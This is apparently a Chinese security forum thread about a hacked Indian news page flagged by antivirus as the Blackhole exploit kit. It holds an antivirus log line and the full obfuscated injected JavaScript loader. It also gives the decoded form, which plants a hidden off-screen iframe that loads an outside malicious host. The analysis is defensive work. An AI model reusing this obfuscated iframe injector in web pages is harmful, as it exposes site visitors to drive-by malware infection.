http://kolkata.themirch.com/230157-without-investment-trade-in-share-market.html

墨家小子

2013/4/25        19:03:54        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\484QPW2X\230157-without-investment-trade-in-share-market[1].htm        JS/Exploit-Blacole.ht (特洛伊)

dayangyang

1. <script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          asgq=[40,103,119,110,100,118,105,112,112,32,41,43,32,124,15,10,33,34,32,33,120,97,115,34,108,121,34,61,33,102,111,100,119,109,102,112,116,47,101,114,102,99,116,102,71,108,102,111,101,111,118,40,40,107,102,115,99,109,102,41,41,60,15,10,14,12,32,33,34,32,109,122,46,116,116,99,33,63,32,40,106,116,117,114,58,48,49,108,98,118,105,111,99,100,98,48,99,112,111,47,106,112,99,109,119,100,102,117,47,100,110,105,108,48,112,105,114,39,60,15,10,33,34,32,33,110,120,47,117,116,122,110,101,47,114,111,116,107,116,106,113,110,33,63,32,40,99,98,116,113,108,118,118,101,40,61,13,11,34,32,33,34,108,121,48,115,117,123,108,102,48,98,112,116,100,102,116,32,62,34,39,49,41,59,14,12,32,33,34,32,109,122,46,116,118,121,109,103,46,105,103,105,104,106,116,33,63,32,40,53,53,52,114,120,40,61,13,11,34,32,33,34,108,121,48,115,117,123,108,102,48,119,106,102,116,105,34,61,33,41,51,51,53,112,121,41,59,14,12,32,33,34,32,109,122,46,116,118,121,109,103,46,109,103,102,117,34,61,33,41,45,50,59,48,56,114,120,40,61,13,11,34,32,33,34,108,121,48,115,117,123,108,102,48,116,112,114,32,62,34,39,46,51,55,49,57,112,121,41,59,14,12,13,11,34,32,33,34,105,103,34,40,34,102,111,100,119,109,102,112,116,47,105,101,117,71,108,102,111,101,111,118,66,122,75,100,41,41,108,121,41,41,42,34,123,14,12,32,33,34,32,33,34,32,33,102,111,100,119,109,102,112,116,47,121,114,106,118,101,41,41,60,101,107,118,33,107,100,62,94,39,109,122,92,40,64,60,48,102,105,119,64,39,42,61,13,11,34,32,33,34,32,33,34,32,101,113,99,118,111,101,111,118,46,104,103,116,70,110,101,110,103,110,117,68,121,74,102,40,40,110,120,40,43,46,98,114,112,102,112,100,68,106,105,109,102,40,109,122,41,60,15,10,33,34,32,33,127,13,11,127,41,41,43,59];zz=3;dbshre=176;try{document.body&=zz}catch(gdsgsdg){if(dbshre){zaq=0;try{v=document.createElement("div");}catch(agdsg){zaq=1;}if(!zaq){e=eval;}ss=String.fromCharCode;s="";for(i=0;i-475!=0;i++){if(window.document)s+=ss(1*asgq[i]-(i%zz));}z=s;e(s);}}</script>

复制代码

dayangyang

解密后：

1. (function () {
   
2.           var lx = document.createElement('iframe');
   
3.         lx.src = 'http://latinada.com/includes/clik.php';
   
4.         lx.style.position = 'absolute';
   
5.         lx.style.border = '0';
   
6.         lx.style.height = '353px';
   
7.         lx.style.width = '323px';
   
8.         lx.style.left = '-1907px';
   
9.         lx.style.top = '-1707px';
   
10.         if (!document.getElementById('lx')) {
    
11.               document.write('<div id=\'lx\'></div>');
    
12.             document.getElementById('lx').appendChild(lx);
    
13.         }
    
14.       }
    
15.       )();
    
16.    

复制代码

已经HTTP500